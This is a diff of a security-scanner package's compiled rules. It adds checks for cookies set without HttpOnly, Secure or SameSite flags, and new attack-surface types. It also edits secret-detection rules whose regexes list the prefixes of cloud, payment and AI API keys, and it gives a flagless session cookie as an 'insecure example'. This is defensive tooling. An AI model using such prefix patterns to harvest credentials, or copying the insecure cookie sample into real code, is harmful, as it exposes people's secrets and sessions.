+            stack.push(ch === '(' ? ')' : ch === '[' ? ']' : '}');
+            continue;
+        }
+        if (ch === stack[stack.length - 1]) {
+            stack.pop();
+            if (!stack.length) {
+                args.push(code.slice(start, i).trim());
+                return args;
+            }
+            continue;
+        }
+        if (ch === ',' && stack.length === 1) {
+            args.push(code.slice(start, i).trim());
+            start = i + 1;
+        }
+    }
+    return null;
+}
+function cookieCalls(ctx) {
+    const calls = [];
+    const pattern = /\b(?:[\w$]+\.cookie|[\w$]+\.cookies\.set|cookies\s*\(\s*\)\s*\.set|setCookie|cookie\.serialize)\s*\(/g;
+    for (const match of ctx.code.matchAll(pattern)) {
+        const args = callArguments(ctx.code, match.index + match[0].lastIndexOf('('));
+        if (!args || !args[0])
+            continue;
+        const singleObject = args.length === 1 && args[0].startsWith('{');
+        const required = /^setCookie\s*\(/.test(match[0]) ? 3 : 2;
+        const last = args[args.length - 1];
+        // Dynamic option expressions and object spreads may provide flags; skip
+        // rather than claiming they are absent. Different setters remain separate.
+        if (singleObject) {
+            if (/\.\.\./.test(last))
+                continue;
+            calls.push({ offset: match.index, options: last });
+        }
+        else if (args.length === required) {
+            calls.push({ offset: match.index, options: null });
+        }
+        else if (args.length === required + 1 && /^\{[\s\S]*\}$/.test(last) && !/\.\.\./.test(last)) {
+            calls.push({ offset: match.index, options: last });
+        }
+    }
+    return calls;
+}
+const flags = [
+    { id: 'VSB-INFRA-013', slug: 'cookie-missing-httponly', name: 'HttpOnly', key: 'httpOnly', cwe: (0, shared_1.cwe)('CWE-1004', 'Sensitive Cookie Without HttpOnly Flag'), fix: 'Set httpOnly: true on sensitive cookies to limit access from browser scripts.' },
+    { id: 'VSB-INFRA-014', slug: 'cookie-missing-secure', name: 'Secure', key: 'secure', cwe: (0, shared_1.cwe)('CWE-614', 'Sensitive Cookie in HTTPS Session Without Secure Attribute'), fix: 'Set secure: true on sensitive cookies served over HTTPS.' },
+    { id: 'VSB-INFRA-015', slug: 'cookie-missing-samesite', name: 'SameSite', key: 'sameSite', cwe: (0, shared_1.cwe)('CWE-1275', 'Sensitive Cookie with Improper SameSite Attribute'), fix: 'Set sameSite to lax or strict where appropriate, and use CSRF protections for state-changing requests.' },
+];
+/** Only top-level keys belong to the cookie options object. */
+function hasOption(options, key) {
+    const properties = callArguments(`(${options.slice(1, -1)})`, 0) ?? [];
+    const name = new RegExp(`^\\s*["']?${key}["']?(?:\\s*:|\\s*$)`, 'i');
+    return properties.some(property => name.test(property));
+}
+const COOKIE_RULES = flags.map(flag => (0, helpers_1.defineRule)({
+    id: flag.id, slug: flag.slug, title: `Cookie setter does not specify ${flag.name}`, category: 'infrastructure',
+    severity: 'medium', confidence: 'medium', cwe: flag.cwe,
+    description: `The observed cookie setter omits ${flag.name} in its literal options. Framework defaults and shared configuration may supply it; confirm the deployed Set-Cookie header and whether the cookie is sensitive.`,
+    insecureExample: "res.cookie('session', token, {})", secureExample: `res.cookie('session', token, { httpOnly: true, secure: true, sameSite: 'lax' })`,
+    remediation: [flag.fix, 'Check framework defaults, shared middleware and the actual Set-Cookie response; add regression tests for the chosen attributes.'],
+    references: ['https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html', flag.cwe.url],
+    appliesTo: sourceFile,
+    detect: ctx => cookieCalls(ctx).filter(call => !call.options || !hasOption(call.options, flag.key))
+        .map((call) => ({ offset: call.offset, matched: ctx.lineText(ctx.locate(call.offset).line).trim().slice(0, 120), message: `${flag.name} was not specified on this cookie setter; check defaults and the actual response.` })),
+}));
+exports.RESPONSE_HARDENING_RULES = [...HEADER_RULES, ...COOKIE_RULES];

package/dist/src/scanner/rules/secret-entropy.js

@@ -68,7 +68,6 @@ const vendorSecret = (0, helpers_1.defineRule)({
     extensions: [...CLIENT_EXTENSIONS, 'py', 'rb', 'php', 'go', 'sh', 'yml', 'yaml', 'json', 'toml', 'tf', 'env'],
     skipFlags: ['isLockfile', 'isGenerated'],
     appliesTo: (ctx) => !isNonShipping(ctx) && !isDetectorMaterial(ctx),
-    contentHints: [/sk_|pk_live|AKIA|ghp_|xox[baprs]-|AIza|sk-ant-|eyJhbGciOi|whsec_|SG\./],
     detect(ctx) {
         return secretHits(ctx, { skipGeneric: true })
             .filter((match) => match.family !== 'private-key' && match.family !== 'jwt')
@@ -216,7 +215,6 @@ const clientVendorSecret = (0, helpers_1.defineRule)({
     extensions: CLIENT_EXTENSIONS,
     skipFlags: ['isLockfile', 'isGenerated'],
     appliesTo: (ctx) => (0, shared_1.isBrowserFile)(ctx) && !isNonShipping(ctx) && !isDetectorMaterial(ctx),
-    contentHints: [/sk_|pk_live|AKIA|ghp_|xox[baprs]-|AIza|sk-ant-|eyJhbGciOi|whsec_/],
     detect(ctx) {
         return secretHits(ctx, { skipGeneric: true })
             .filter((match) => match.family !== 'private-key')

package/dist/src/scanner/types.d.ts

@@ -1,3 +1,4 @@
+import type { OwaspMappings } from './mappings';
 /**
  * vibe-shield :: scanner type system
  * ----------------------------------
@@ -16,7 +17,7 @@ export type Confidence = (typeof CONFIDENCES)[number];
  * Rule families. Each family maps 1:1 to a module in `src/scanner/rules`
  * (plus `agent-integrity`, which is produced by the MCP / skill auditor).
  */
-export declare const RULE_CATEGORIES: readonly ["client-exposure", "unguarded-routes", "database-exposure", "ai-vulnerabilities", "secret-entropy", "agent-integrity"];
+export declare const RULE_CATEGORIES: readonly ["client-exposure", "unguarded-routes", "database-exposure", "ai-vulnerabilities", "secret-entropy", "infrastructure", "dependencies", "agent-integrity"];
 export type RuleCategory = (typeof RULE_CATEGORIES)[number];
 export declare const CATEGORY_TITLES: Record<RuleCategory, string>;
 /** Relative severity weight used by the scoring model. */
@@ -218,6 +219,8 @@ export interface Rule {
     severity: Severity;
     confidence: Confidence;
     cwe: Cwe;
+    /** OWASP associations; LLM mappings apply only where context warrants. */
+    owasp?: OwaspMappings;
     /** Why this matters — one or two sentences, written for the coding agent. */
     description: string;
     /** Code shape that triggers the rule. */
@@ -264,8 +267,11 @@ export interface Finding {
     severity: Severity;
     confidence: Confidence;
     cwe: Cwe;
+    owasp?: OwaspMappings;
     /** POSIX path relative to the scan root. */
     filePath: string;
+    /** Alias for filePath, relative to the scan root. */
+    file: string;
     absolutePath: string;
     /** 1-based. */
     line: number;
@@ -297,6 +303,31 @@ export interface ScanStats {
 }
 /** Severity histogram. */
 export type SeverityCounts = Record<Severity, number>;
+/** Static inventory; guard and RLS signals are not proof of effective protection. */
+export interface AttackSurface {
+    routes: Array<{
+        file: string;
+        line: number;
+        method: string;
+        path: string;
+        auth: 'guard-signal' | 'unknown';
+    }>;
+    tables: Array<{
+        file: string;
+        line: number;
+        table: string;
+        rls: 'enabled-signal' | 'not-observed';
+    }>;
+    aiEntrypoints: Array<{
+        file: string;
+        line: number;
+    }>;
+    agentFiles: Array<{
+        file: string;
+        kind: 'mcp' | 'skill';
+        name?: string;
+    }>;
+}
 /** Final scorecard. */
 export interface SecurityScore {
     /** 0-100, rounded to one decimal. */
@@ -313,6 +344,7 @@ export interface SecurityScore {
 export interface ScanResult {
     rootDir: string;
     command: 'scan' | 'audit-skills';
+    attackSurface?: AttackSurface;
     findings: Finding[];
     score: SecurityScore;
     stats: ScanStats;